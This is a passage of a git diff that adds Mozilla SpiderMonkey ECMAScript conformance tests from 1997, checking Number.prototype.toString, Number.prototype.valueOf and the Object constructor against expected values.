+ this value is not a Number object. Therefore it cannot be transferred to
+ other kinds of objects for use as a method.
+
+ Author: christine@netscape.com
+ Date: 16 september 1997
+*/
+var SECTION = "15.7.4.2-1";
+var VERSION = "ECMA_1";
+startTest();
+
+writeHeaderToLog( SECTION + " Number.prototype.toString()");
+
+// the following two lines cause navigator to crash -- cmb 9/16/97
+new TestCase(SECTION,
+ "Number.prototype.toString()",
+ "0",
+ eval("Number.prototype.toString()") );
+
+new TestCase(SECTION,
+ "typeof(Number.prototype.toString())",
+ "string",
+ eval("typeof(Number.prototype.toString())") );
+
+new TestCase(SECTION,
+ "s = Number.prototype.toString; o = new Number(); o.toString = s; o.toString()",
+ "0",
+ eval("s = Number.prototype.toString; o = new Number(); o.toString = s; o.toString()") );
+
+new TestCase(SECTION,
+ "s = Number.prototype.toString; o = new Number(1); o.toString = s; o.toString()",
+ "1",
+ eval("s = Number.prototype.toString; o = new Number(1); o.toString = s; o.toString()") );
+
+new TestCase(SECTION,
+ "s = Number.prototype.toString; o = new Number(-1); o.toString = s; o.toString()",
+ "-1",
+ eval("s = Number.prototype.toString; o = new Number(-1); o.toString = s; o.toString()") );
+
+new TestCase(SECTION,
+ "var MYNUM = new Number(255); MYNUM.toString(10)",
+ "255",
+ eval("var MYNUM = new Number(255); MYNUM.toString(10)") );
+
+new TestCase(SECTION,
+ "var MYNUM = new Number(Number.NaN); MYNUM.toString(10)",
+ "NaN",
+ eval("var MYNUM = new Number(Number.NaN); MYNUM.toString(10)") );
+
+new TestCase(SECTION,
+ "var MYNUM = new Number(Infinity); MYNUM.toString(10)",
+ "Infinity",
+ eval("var MYNUM = new Number(Infinity); MYNUM.toString(10)") );
+
+new TestCase(SECTION,
+ "var MYNUM = new Number(-Infinity); MYNUM.toString(10)",
+ "-Infinity",
+ eval("var MYNUM = new Number(-Infinity); MYNUM.toString(10)") );
+
+test();
diff --git a/js/src/tests/ecma/Number/15.7.4.2-2-n.js b/js/src/tests/ecma/Number/15.7.4.2-2-n.js
new file mode 100644
index 000000000..83eef466d
--- /dev/null
+++ b/js/src/tests/ecma/Number/15.7.4.2-2-n.js
@@ -0,0 +1,42 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.7.4.2-2-n.js
+ ECMA Section: 15.7.4.2.1 Number.prototype.toString()
+ Description:
+ If the radix is the number 10 or not supplied, then this number value is
+ given as an argument to the ToString operator; the resulting string value
+ is returned.
+
+ If the radix is supplied and is an integer from 2 to 36, but not 10, the
+ result is a string, the choice of which is implementation dependent.
+
+ The toString function is not generic; it generates a runtime error if its
+ this value is not a Number object. Therefore it cannot be transferred to
+ other kinds of objects for use as a method.
+
+ Author: christine@netscape.com
+ Date: 16 september 1997
+*/
+var SECTION = "15.7.4.2-2-n";
+var VERSION = "ECMA_1";
+startTest();
+
+writeHeaderToLog( SECTION + " Number.prototype.toString()");
+
+DESCRIPTION = "o = new Object(); o.toString = Number.prototype.toString; o.toString()";
+EXPECTED = "error";
+
+new TestCase(SECTION,
+ "o = new Object(); o.toString = Number.prototype.toString; o.toString()",
+ "error",
+ eval("o = new Object(); o.toString = Number.prototype.toString; o.toString()") );
+
+// new TestCase(SECTION, "o = new String(); o.toString = Number.prototype.toString; o.toString()", "error", eval("o = new String(); o.toString = Number.prototype.toString; o.toString()") );
+// new TestCase(SECTION, "o = 3; o.toString = Number.prototype.toString; o.toString()", "error", eval("o = 3; o.toString = Number.prototype.toString; o.toString()") );
+
+test();
diff --git a/js/src/tests/ecma/Number/15.7.4.2-3-n.js b/js/src/tests/ecma/Number/15.7.4.2-3-n.js
new file mode 100644
index 000000000..adaf443e5
--- /dev/null
+++ b/js/src/tests/ecma/Number/15.7.4.2-3-n.js
@@ -0,0 +1,39 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.7.4.2-3-n.js
+ ECMA Section: 15.7.4.2.1 Number.prototype.toString()
+ Description:
+ If the radix is the number 10 or not supplied, then this number value is
+ given as an argument to the ToString operator; the resulting string value
+ is returned.
+
+ If the radix is supplied and is an integer from 2 to 36, but not 10, the
+ result is a string, the choice of which is implementation dependent.
+
+ The toString function is not generic; it generates a runtime error if its
+ this value is not a Number object. Therefore it cannot be transferred to
+ other kinds of objects for use as a method.
+
+ Author: christine@netscape.com
+ Date: 16 september 1997
+*/
+var SECTION = "15.7.4.2-3-n";
+var VERSION = "ECMA_1";
+startTest();
+
+writeHeaderToLog( SECTION + " Number.prototype.toString()");
+
+DESCRIPTION = "o = new String(); o.toString = Number.prototype.toString; o.toString()";
+EXPECTED = "error";
+
+new TestCase(SECTION,
+ "o = new String(); o.toString = Number.prototype.toString; o.toString()",
+ "error",
+ eval("o = new String(); o.toString = Number.prototype.toString; o.toString()") );
+
+test();
diff --git a/js/src/tests/ecma/Number/15.7.4.2-4.js b/js/src/tests/ecma/Number/15.7.4.2-4.js
new file mode 100644
index 000000000..9eaee4d60
--- /dev/null
+++ b/js/src/tests/ecma/Number/15.7.4.2-4.js
@@ -0,0 +1,36 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.7.4.2-4.js
+ ECMA Section: 15.7.4.2.1 Number.prototype.toString()
+ Description:
+ If the radix is the number 10 or not supplied, then this number value is
+ given as an argument to the ToString operator; the resulting string value
+ is returned.
+
+ If the radix is supplied and is an integer from 2 to 36, but not 10, the
+ result is a string, the choice of which is implementation dependent.
+
+ The toString function is not generic; it generates a runtime error if its
+ this value is not a Number object. Therefore it cannot be transferred to
+ other kinds of objects for use as a method.
+
+ Author: christine@netscape.com
+ Date: 16 september 1997
+*/
+var SECTION = "15.7.4.2-4";
+var VERSION = "ECMA_1";
+startTest();
+
+writeHeaderToLog( SECTION + " Number.prototype.toString()");
+
+new TestCase(SECTION,
+ "o = 3; o.toString = Number.prototype.toString; o.toString()",
+ "3",
+ eval("o = 3; o.toString = Number.prototype.toString; o.toString()") );
+
+test();
diff --git a/js/src/tests/ecma/Number/15.7.4.3-1.js b/js/src/tests/ecma/Number/15.7.4.3-1.js
new file mode 100644
index 000000000..04d5e125d
--- /dev/null
+++ b/js/src/tests/ecma/Number/15.7.4.3-1.js
@@ -0,0 +1,63 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.7.4.3-1.js
+ ECMA Section: 15.7.4.3.1 Number.prototype.valueOf()
+ Description:
+ Returns this number value.
+
+ The valueOf function is not generic; it generates a runtime error if its
+ this value is not a Number object. Therefore it cannot be transferred to
+ other kinds of objects for use as a method.
+
+ Author: christine@netscape.com
+ Date: 16 september 1997
+*/
+var SECTION = "15.7.4.3-1";
+var VERSION = "ECMA_1";
+startTest();
+
+
+writeHeaderToLog( SECTION + " Number.prototype.valueOf()");
+
+// the following two line causes navigator to crash -- cmb 9/16/97
+new TestCase("SECTION",
+ "Number.prototype.valueOf()",
+ 0,
+ eval("Number.prototype.valueOf()") );
+
+new TestCase("SECTION",
+ "(new Number(1)).valueOf()",
+ 1,
+ eval("(new Number(1)).valueOf()") );
+
+new TestCase("SECTION",
+ "(new Number(-1)).valueOf()",
+ -1,
+ eval("(new Number(-1)).valueOf()") );
+
+new TestCase("SECTION",
+ "(new Number(0)).valueOf()",
+ 0,
+ eval("(new Number(0)).valueOf()") );
+
+new TestCase("SECTION",
+ "(new Number(Number.POSITIVE_INFINITY)).valueOf()",
+ Number.POSITIVE_INFINITY,
+ eval("(new Number(Number.POSITIVE_INFINITY)).valueOf()") );
+
+new TestCase("SECTION",
+ "(new Number(Number.NaN)).valueOf()",
+ Number.NaN,
+ eval("(new Number(Number.NaN)).valueOf()") );
+
+new TestCase("SECTION",
+ "(new Number()).valueOf()",
+ 0,
+ eval("(new Number()).valueOf()") );
+
+test();
diff --git a/js/src/tests/ecma/Number/15.7.4.3-2.js b/js/src/tests/ecma/Number/15.7.4.3-2.js
new file mode 100644
index 000000000..4af1a2fc1
--- /dev/null
+++ b/js/src/tests/ecma/Number/15.7.4.3-2.js
@@ -0,0 +1,31 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.7.4.3-2.js
+ ECMA Section: 15.7.4.3.1 Number.prototype.valueOf()
+ Description:
+ Returns this number value.
+
+ The valueOf function is not generic; it generates a runtime error if its
+ this value is not a Number object. Therefore it cannot be transferred to
+ other kinds of objects for use as a method.
+
+ Author: christine@netscape.com
+ Date: 16 september 1997
+*/
+var SECTION = "15.7.4.3-2";
+var VERSION = "ECMA_1";
+startTest();
+
+writeHeaderToLog( SECTION + " Number.prototype.valueOf()");
+
+new TestCase(SECTION,
+ "v = Number.prototype.valueOf; num = 3; num.valueOf = v; num.valueOf()",
+ 3,
+ eval("v = Number.prototype.valueOf; num = 3; num.valueOf = v; num.valueOf()") );
+
+test();
diff --git a/js/src/tests/ecma/Number/15.7.4.3-3-n.js b/js/src/tests/ecma/Number/15.7.4.3-3-n.js
new file mode 100644
index 000000000..ded89575d
--- /dev/null
+++ b/js/src/tests/ecma/Number/15.7.4.3-3-n.js
@@ -0,0 +1,38 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.7.4.3-3.js
+ ECMA Section: 15.7.4.3.1 Number.prototype.valueOf()
+ Description:
+ Returns this number value.
+
+ The valueOf function is not generic; it generates a runtime error if its
+ this value is not a Number object. Therefore it cannot be transferred to
+ other kinds of objects for use as a method.
+
+ Author: christine@netscape.com
+ Date: 16 september 1997
+*/
+var SECTION = "15.7.4.3-3-n";
+var VERSION = "ECMA_1";
+startTest();
+
+writeHeaderToLog( SECTION + " Number.prototype.valueOf()");
+
+// new TestCase("15.7.4.1", "v = Number.prototype.valueOf; num = 3; num.valueOf = v; num.valueOf()", "error", eval("v = Number.prototype.valueOf; num = 3; num.valueOf = v; num.valueOf()") );
+
+DESCRIPTION = "v = Number.prototype.valueOf; o = new String('Infinity'); o.valueOf = v; o.valueOf()";
+EXPECTED = "error";
+
+new TestCase("15.7.4.1",
+ "v = Number.prototype.valueOf; o = new String('Infinity'); o.valueOf = v; o.valueOf()",
+ "error",
+ eval("v = Number.prototype.valueOf; o = new String('Infinity'); o.valueOf = v; o.valueOf()") );
+
+// new TestCase("15.7.4.1", "v = Number.prototype.valueOf; o = new Object(); o.valueOf = v; o.valueOf()", "error", eval("v = Number.prototype.valueOf; o = new Object(); o.valueOf = v; o.valueOf()") );
+
+test();
diff --git a/js/src/tests/ecma/Number/browser.js b/js/src/tests/ecma/Number/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma/Number/browser.js
diff --git a/js/src/tests/ecma/Number/shell.js b/js/src/tests/ecma/Number/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma/Number/shell.js
diff --git a/js/src/tests/ecma/ObjectObjects/15.2.1.1.js b/js/src/tests/ecma/ObjectObjects/15.2.1.1.js
new file mode 100644
index 000000000..11195e018
--- /dev/null
+++ b/js/src/tests/ecma/ObjectObjects/15.2.1.1.js
@@ -0,0 +1,112 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.2.1.1.js
+ ECMA Section: 15.2.1.1 The Object Constructor Called as a Function:
+ Object(value)
+ Description: When Object is called as a function rather than as a
+ constructor, the following steps are taken:
+
+ 1. If value is null or undefined, create and return a
+ new object with no properties other than internal
+ properties exactly as if the object constructor
+ had been called on that same value (15.2.2.1).
+ 2. Return ToObject (value), whose rules are:
+
+ undefined generate a runtime error
+ null generate a runtime error
+ boolean create a new Boolean object whose default
+ value is the value of the boolean.
+ number Create a new Number object whose default
+ value is the value of the number.
+ string Create a new String object whose default
+ value is the value of the string.
+ object Return the input argument (no conversion).
+
+ Author: christine@netscape.com
+ Date: 17 july 1997
+*/
+
+var SECTION = "15.2.1.1";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Object( value )";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+
+var NULL_OBJECT = Object(null);
+
+new TestCase( SECTION, "Object(null).valueOf()", NULL_OBJECT, (NULL_OBJECT).valueOf() );
+new TestCase( SECTION, "typeof Object(null)", "object", typeof (Object(null)) );
+
+var UNDEFINED_OBJECT = Object( void 0 );
+
+new TestCase( SECTION, "Object(void 0).valueOf()", UNDEFINED_OBJECT, (UNDEFINED_OBJECT).valueOf() );
+new TestCase( SECTION, "typeof Object(void 0)", "object", typeof (Object(void 0)) );
+
+new TestCase( SECTION, "Object(true).valueOf()", true, (Object(true)).valueOf() );
+new TestCase( SECTION, "typeof Object(true)", "object", typeof Object(true) );
+new TestCase( SECTION, "var MYOB = Object(true); MYOB.toString = Object.prototype.toString; MYOB.toString()", "[object Boolean]", eval("var MYOB = Object(true); MYOB.toString = Object.prototype.toString; MYOB.toString()") );
+
+new TestCase( SECTION, "Object(false).valueOf()", false, (Object(false)).valueOf() );
+new TestCase( SECTION, "typeof Object(false)", "object", typeof Object(false) );
+new TestCase( SECTION, "var MYOB = Object(false); MYOB.toString = Object.prototype.toString; MYOB.toString()", "[object Boolean]", eval("var MYOB = Object(false); MYOB.toString = Object.prototype.toString; MYOB.toString()") );
+
+new TestCase( SECTION, "Object(0).valueOf()", 0, (Object(0)).valueOf() );
+new TestCase( SECTION, "typeof Object(0)", "object", typeof Object(0) );
+new TestCase( SECTION, "var MYOB = Object(0); MYOB.toString = Object.prototype.toString; MYOB.toString()", "[object Number]", eval("var MYOB = Object(0); MYOB.toString = Object.prototype.toString; MYOB.toString()") );
+
+new TestCase( SECTION, "Object(-0).valueOf()", -0, (Object(-0)).valueOf() );
+new TestCase( SECTION, "typeof Object(-0)", "object", typeof Object(-0) );
+new TestCase( SECTION, "var MYOB = Object(-0); MYOB.toString = Object.prototype.toString; MYOB.toString()", "[object Number]", eval("var MYOB = Object(-0); MYOB.toString = Object.prototype.toString; MYOB.toString()") );
+
+new TestCase( SECTION, "Object(1).valueOf()", 1, (Object(1)).valueOf() );
+new TestCase( SECTION, "typeof Object(1)", "object", typeof Object(1) );
+new TestCase( SECTION, "var MYOB = Object(1); MYOB.toString = Object.prototype.toString; MYOB.toString()", "[object Number]", eval("var MYOB = Object(1); MYOB.toString = Object.prototype.toString; MYOB.toString()") );
+
+new TestCase( SECTION, "Object(-1).valueOf()", -1, (Object(-1)).valueOf() );
+new TestCase( SECTION, "typeof Object(-1)", "object", typeof Object(-1) );
+new TestCase( SECTION, "var MYOB = Object(-1); MYOB.toString = Object.prototype.toString; MYOB.toString()", "[object Number]", eval("var MYOB = Object(-1); MYOB.toString = Object.prototype.toString; MYOB.toString()") );
+
+new TestCase( SECTION, "Object(Number.MAX_VALUE).valueOf()", 1.7976931348623157e308, (Object(Number.MAX_VALUE)).valueOf() );
+new TestCase( SECTION, "typeof Object(Number.MAX_VALUE)", "object", typeof Object(Number.MAX_VALUE) );
+new TestCase( SECTION, "var MYOB = Object(Number.MAX_VALUE); MYOB.toString = Object.prototype.toString; MYOB.toString()", "[object Number]", eval("var MYOB = Object(Number.MAX_VALUE); MYOB.toString = Object.prototype.toString; MYOB.toString()") );
+
+new TestCase( SECTION, "Object(Number.MIN_VALUE).valueOf()", 5e-324, (Object(Number.MIN_VALUE)).valueOf() );
+new TestCase( SECTION, "typeof Object(Number.MIN_VALUE)", "object", typeof Object(Number.MIN_VALUE) );
+new TestCase( SECTION, "var MYOB = Object(Number.MIN_VALUE); MYOB.toString = Object.prototype.toString; MYOB.toString()", "[object Number]", eval("var MYOB = Object(Number.MIN_VALUE); MYOB.toString = Object.prototype.toString; MYOB.toString()") );
+
+new TestCase( SECTION, "Object(Number.POSITIVE_INFINITY).valueOf()", Number.POSITIVE_INFINITY, (Object(Number.POSITIVE_INFINITY)).valueOf() );
+new TestCase( SECTION, "typeof Object(Number.POSITIVE_INFINITY)", "object", typeof Object(Number.POSITIVE_INFINITY) );
+new TestCase( SECTION, "var MYOB = Object(Number.POSITIVE_INFINITY); MYOB.toString = Object.prototype.toString; MYOB.toString()", "[object Number]", eval("var MYOB = Object(Number.POSITIVE_INFINITY); MYOB.toString = Object.prototype.toString; MYOB.toString()") );
+
+new TestCase( SECTION, "Object(Number.NEGATIVE_INFINITY).valueOf()", Number.NEGATIVE_INFINITY, (Object(Number.NEGATIVE_INFINITY)).valueOf() );
+new TestCase( SECTION, "typeof Object(Number.NEGATIVE_INFINITY)", "object", typeof Object(Number.NEGATIVE_INFINITY) );
+new TestCase( SECTION, "var MYOB = Object(Number.NEGATIVE_INFINITY); MYOB.toString = Object.prototype.toString; MYOB.toString()", "[object Number]", eval("var MYOB = Object(Number.NEGATIVE_INFINITY); MYOB.toString = Object.prototype.toString; MYOB.toString()") );
+
+new TestCase( SECTION, "Object(Number.NaN).valueOf()", Number.NaN, (Object(Number.NaN)).valueOf() );
+new TestCase( SECTION, "typeof Object(Number.NaN)", "object", typeof Object(Number.NaN) );
+new TestCase( SECTION, "var MYOB = Object(Number.NaN); MYOB.toString = Object.prototype.toString; MYOB.toString()", "[object Number]", eval("var MYOB = Object(Number.NaN); MYOB.toString = Object.prototype.toString; MYOB.toString()") );
+
+new TestCase( SECTION, "Object('a string').valueOf()", "a string", (Object("a string")).valueOf() );
+new TestCase( SECTION, "typeof Object('a string')", "object", typeof (Object("a string")) );
+new TestCase( SECTION, "var MYOB = Object('a string'); MYOB.toString = Object.prototype.toString; MYOB.toString()", "[object String]", eval("var MYOB = Object('a string'); MYOB.toString = Object.prototype.toString; MYOB.toString()") );
+
+new TestCase( SECTION, "Object('').valueOf()", "", (Object("")).valueOf() );
+new TestCase( SECTION, "typeof Object('')", "object", typeof (Object("")) );
+new TestCase( SECTION, "var MYOB = Object(''); MYOB.toString = Object.prototype.toString; MYOB.toString()", "[object String]", eval("var MYOB = Object(''); MYOB.toString = Object.prototype.toString; MYOB.toString()") );
+
+new TestCase( SECTION, "Object('\\r\\t\\b\\n\\v\\f').valueOf()", "\r\t\b\n\v\f", (Object("\r\t\b\n\v\f")).valueOf() );
+new TestCase( SECTION, "typeof Object('\\r\\t\\b\\n\\v\\f')", "object", typeof (Object("\\r\\t\\b\\n\\v\\f")) );
+new TestCase( SECTION, "var MYOB = Object('\\r\\t\\b\\n\\v\\f'); MYOB.toString = Object.prototype.toString; MYOB.toString()", "[object String]", eval("var MYOB = Object('\\r\\t\\b\\n\\v\\f'); MYOB.toString = Object.prototype.toString; MYOB.toString()") );
+
+new TestCase( SECTION, "Object( '\\\'\\\"\\' ).valueOf()", "\'\"\\", (Object("\'\"\\")).valueOf() );
+new TestCase( SECTION, "typeof Object( '\\\'\\\"\\' )", "object", typeof Object("\'\"\\") );
+// new TestCase( SECTION, "var MYOB = Object( '\\\'\\\"\\' ); MYOB.toString = Object.prototype.toString; MYOB.toString()", "[object String]", eval("var MYOB = Object( '\\\'\\\"\\' ); MYOB.toString = Object.prototype.toString; MYOB.toString()") );
+
+test();
diff --git a/js/src/tests/ecma/ObjectObjects/15.2.1.2.js b/js/src/tests/ecma/ObjectObjects/15.2.1.2.js
new file mode 100644
index 000000000..2cbbe06d7
--- /dev/null
+++ b/js/src/tests/ecma/ObjectObjects/15.2.1.2.js
@@ -0,0 +1,47 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.2.1.2.js
+ ECMA Section: 15.2.1.2 The Object Constructor Called as a Function:
+ Object(value)
+ Description: When Object is called as a function rather than as a
+ constructor, the following steps are taken:
+
+ 1. If value is null or undefined, create and return a
+ new object with no proerties other than internal
+ properties exactly as if the object constructor
+ had been called on that same value (15.2.2.1).
+ 2. Return ToObject (value), whose rules are:
+
+ undefined generate a runtime error
+ null generate a runtime error
+ boolean create a new Boolean object whose default
+ value is the value of the boolean.
+ number Create a new Number object whose default
+ value is the value of the number.
+ string Create a new String object whose default
+ value is the value of the string.
+ object Return the input argument (no conversion).
+
+ Author: christine@netscape.com
+ Date: 17 july 1997
+*/
+
+var SECTION = "15.2.1.2";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Object()";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var MYOB = Object();
+
+new TestCase( SECTION, "var MYOB = Object(); MYOB.valueOf()", MYOB, MYOB.valueOf() );
+new TestCase( SECTION, "typeof Object()", "object", typeof (Object(null)) );
+new TestCase( SECTION, "var MYOB = Object(); MYOB.toString()", "[object Object]", eval("var MYOB = Object(); MYOB.toString()") );
+
+test();
diff --git a/js/src/tests/ecma/ObjectObjects/15.2.2.1.js b/js/src/tests/ecma/ObjectObjects/15.2.2.1.js
new file mode 100644
index 000000000..f9d15c9e0
--- /dev/null
+++ b/js/src/tests/ecma/ObjectObjects/15.2.2.1.js
@@ -0,0 +1,104 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.2.2.1.js
+ ECMA Section: 15.2.2.1 The Object Constructor: new Object( value )
+
+ 1.If the type of the value is not Object, go to step 4.
+ 2.If the value is a native ECMAScript object, do not create a new object; simply return value.
+ 3.If the value is a host object, then actions are taken and a result is returned in an
+ implementation-dependent manner that may depend on the host object.
+ 4.If the type of the value is String, return ToObject(value).
+ 5.If the type of the value is Boolean, return ToObject(value).
+ 6.If the type of the value is Number, return ToObject(value).
+ 7.(The type of the value must be Null or Undefined.) Create a new native ECMAScript object.
+ The [[Prototype]] property of the newly constructed object is set to the Object prototype object.
+ The [[Class]] property of the newly constructed object is set to "Object".
+ The newly constructed object has no [[Value]] property.
+ Return the newly created native object.
+
+ Description: This does not test cases where the object is a host object.
+ Author: christine@netscape.com
+ Date: 7 october 1997
+*/
+
+var SECTION = "15.2.2.1";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "new Object( value )";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+
+new TestCase( SECTION, "typeof new Object(null)", "object", typeof new Object(null) );
+new TestCase( SECTION, "MYOB = new Object(null); MYOB.toString = Object.prototype.toString; MYOB.toString()", "[object Object]", eval("MYOB = new Object(null); MYOB.toString = Object.prototype.toString; MYOB.toString()") );
+
+new TestCase( SECTION, "typeof new Object(void 0)", "object", typeof new Object(void 0) );
+new TestCase( SECTION, "MYOB = new Object(new Object(void 0)); MYOB.toString = Object.prototype.toString; MYOB.toString()", "[object Object]", eval("MYOB = new Object(new Object(void 0)); MYOB.toString = Object.prototype.toString; MYOB.toString()") );
+
+new TestCase( SECTION, "typeof new Object('string')", "object", typeof new Object('string') );
+new TestCase( SECTION, "MYOB = (new Object('string'); MYOB.toString = Object.prototype.toString; MYOB.toString()", "[object String]", eval("MYOB = new Object('string'); MYOB.toString = Object.prototype.toString; MYOB.toString()") );
+new TestCase( SECTION, "(new Object('string').valueOf()", "string", (new Object('string')).valueOf() );
+
+new TestCase( SECTION, "typeof new Object('')", "object", typeof new Object('') );
+new TestCase( SECTION, "MYOB = (new Object(''); MYOB.toString = Object.prototype.toString; MYOB.toString()", "[object String]", eval("MYOB = new Object(''); MYOB.toString = Object.prototype.toString; MYOB.toString()") );
+new TestCase( SECTION, "(new Object('').valueOf()", "", (new Object('')).valueOf() );
+
+new TestCase( SECTION, "typeof new Object(Number.NaN)", "object", typeof new Object(Number.NaN) );
+new TestCase( SECTION, "MYOB = (new Object(Number.NaN); MYOB.toString = Object.prototype.toString; MYOB.toString()", "[object Number]", eval("MYOB = new Object(Number.NaN); MYOB.toString = Object.prototype.toString; MYOB.toString()") );
+new TestCase( SECTION, "(new Object(Number.NaN).valueOf()", Number.NaN, (new Object(Number.NaN)).valueOf() );
+
+new TestCase( SECTION, "typeof new Object(0)", "object", typeof new Object(0) );
+new TestCase( SECTION, "MYOB = (new Object(0); MYOB.toString = Object.prototype.toString; MYOB.toString()", "[object Number]", eval("MYOB = new Object(0); MYOB.toString = Object.prototype.toString; MYOB.toString()") );
+new TestCase( SECTION, "(new Object(0).valueOf()", 0, (new Object(0)).valueOf() );
+
+new TestCase( SECTION, "typeof new Object(-0)", "object", typeof new Object(-0) );
+new TestCase( SECTION, "MYOB = (new Object(-0); MYOB.toString = Object.prototype.toString; MYOB.toString()", "[object Number]", eval("MYOB = new Object(-0); MYOB.toString = Object.prototype.toString; MYOB.toString()") );
+new TestCase( SECTION, "(new Object(-0).valueOf()", -0, (new Object(-0)).valueOf() );
+
+new TestCase( SECTION, "typeof new Object(1)", "object", typeof new Object(1) );
+new TestCase( SECTION, "MYOB = (new Object(1); MYOB.toString = Object.prototype.toString; MYOB.toString()", "[object Number]", eval("MYOB = new Object(1); MYOB.toString = Object.prototype.toString; MYOB.toString()") );
+new TestCase( SECTION, "(new Object(1).valueOf()", 1, (new Object(1)).valueOf() );
+
+new TestCase( SECTION, "typeof new Object(-1)", "object", typeof new Object(-1) );
+new TestCase( SECTION, "MYOB = (new Object(-1); MYOB.toString = Object.prototype.toString; MYOB.toString()", "[object Number]", eval("MYOB = new Object(-1); MYOB.toString = Object.prototype.toString; MYOB.toString()") );
+new TestCase( SECTION, "(new Object(-1).valueOf()", -1, (new Object(-1)).valueOf() );
+
+new TestCase( SECTION, "typeof new Object(true)", "object", typeof new Object(true) );
+new TestCase( SECTION, "MYOB = (new Object(true); MYOB.toString = Object.prototype.toString; MYOB.toString()", "[object Boolean]", eval("MYOB = new Object(true); MYOB.toString = Object.prototype.toString; MYOB.toString()") );
+new TestCase( SECTION, "(new Object(true).valueOf()", true, (new Object(true)).valueOf() );
+
+new TestCase( SECTION, "typeof new Object(false)", "object", typeof new Object(false) );
+new TestCase( SECTION, "MYOB = (new Object(false); MYOB.toString = Object.prototype.toString; MYOB.toString()", "[object Boolean]", eval("MYOB = new Object(false); MYOB.toString = Object.prototype.toString; MYOB.toString()") );
+new TestCase( SECTION, "(new Object(false).valueOf()", false, (new Object(false)).valueOf() );
+
+new TestCase( SECTION, "typeof new Object(Boolean())", "object", typeof new Object(Boolean()) );
+new TestCase( SECTION, "MYOB = (new Object(Boolean()); MYOB.toString = Object.prototype.toString; MYOB.toString()", "[object Boolean]", eval("MYOB = new Object(Boolean()); MYOB.toString = Object.prototype.toString; MYOB.toString()") );
+new TestCase( SECTION, "(new Object(Boolean()).valueOf()", Boolean(), (new Object(Boolean())).valueOf() );
+
+
+var myglobal = this;
+var myobject = new Object( "my new object" );
+var myarray = new Array();
+var myboolean = new Boolean();
+var mynumber = new Number();
+var mystring = new String();
+var myobject = new Object();
+var myfunction = new Function( "x", "return x");
+var mymath = Math;
+
+new TestCase( SECTION, "myglobal = new Object( this )", myglobal, new Object(this) );
+new TestCase( SECTION, "myobject = new Object('my new object'); new Object(myobject)", myobject, new Object(myobject) );
+new TestCase( SECTION, "myarray = new Array(); new Object(myarray)", myarray, new Object(myarray) );
+new TestCase( SECTION, "myboolean = new Boolean(); new Object(myboolean)", myboolean, new Object(myboolean) );
+new TestCase( SECTION, "mynumber = new Number(); new Object(mynumber)", mynumber, new Object(mynumber) );
+new TestCase( SECTION, "mystring = new String9); new Object(mystring)", mystring, new Object(mystring) );
+new TestCase( SECTION, "myobject = new Object(); new Object(mynobject)", myobject, new Object(myobject) );
+new TestCase( SECTION, "myfunction = new Function(); new Object(myfunction)", myfunction, new Object(myfunction) );
+new TestCase( SECTION, "mymath = Math; new Object(mymath)", mymath, new Object(mymath) );
+
+test();
diff --git a/js/src/tests/ecma/ObjectObjects/15.2.2.2.js b/js/src/tests/ecma/ObjectObjects/15.2.2.2.js
new file mode 100644
index 000000000..f93895e7b
--- /dev/null
+++ b/js/src/tests/ecma/ObjectObjects/15.2.2.2.js
@@ -0,0 +1,40 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.2.2.2.js
+ ECMA Section: 15.2.2.2 new Object()
+ Description:
+
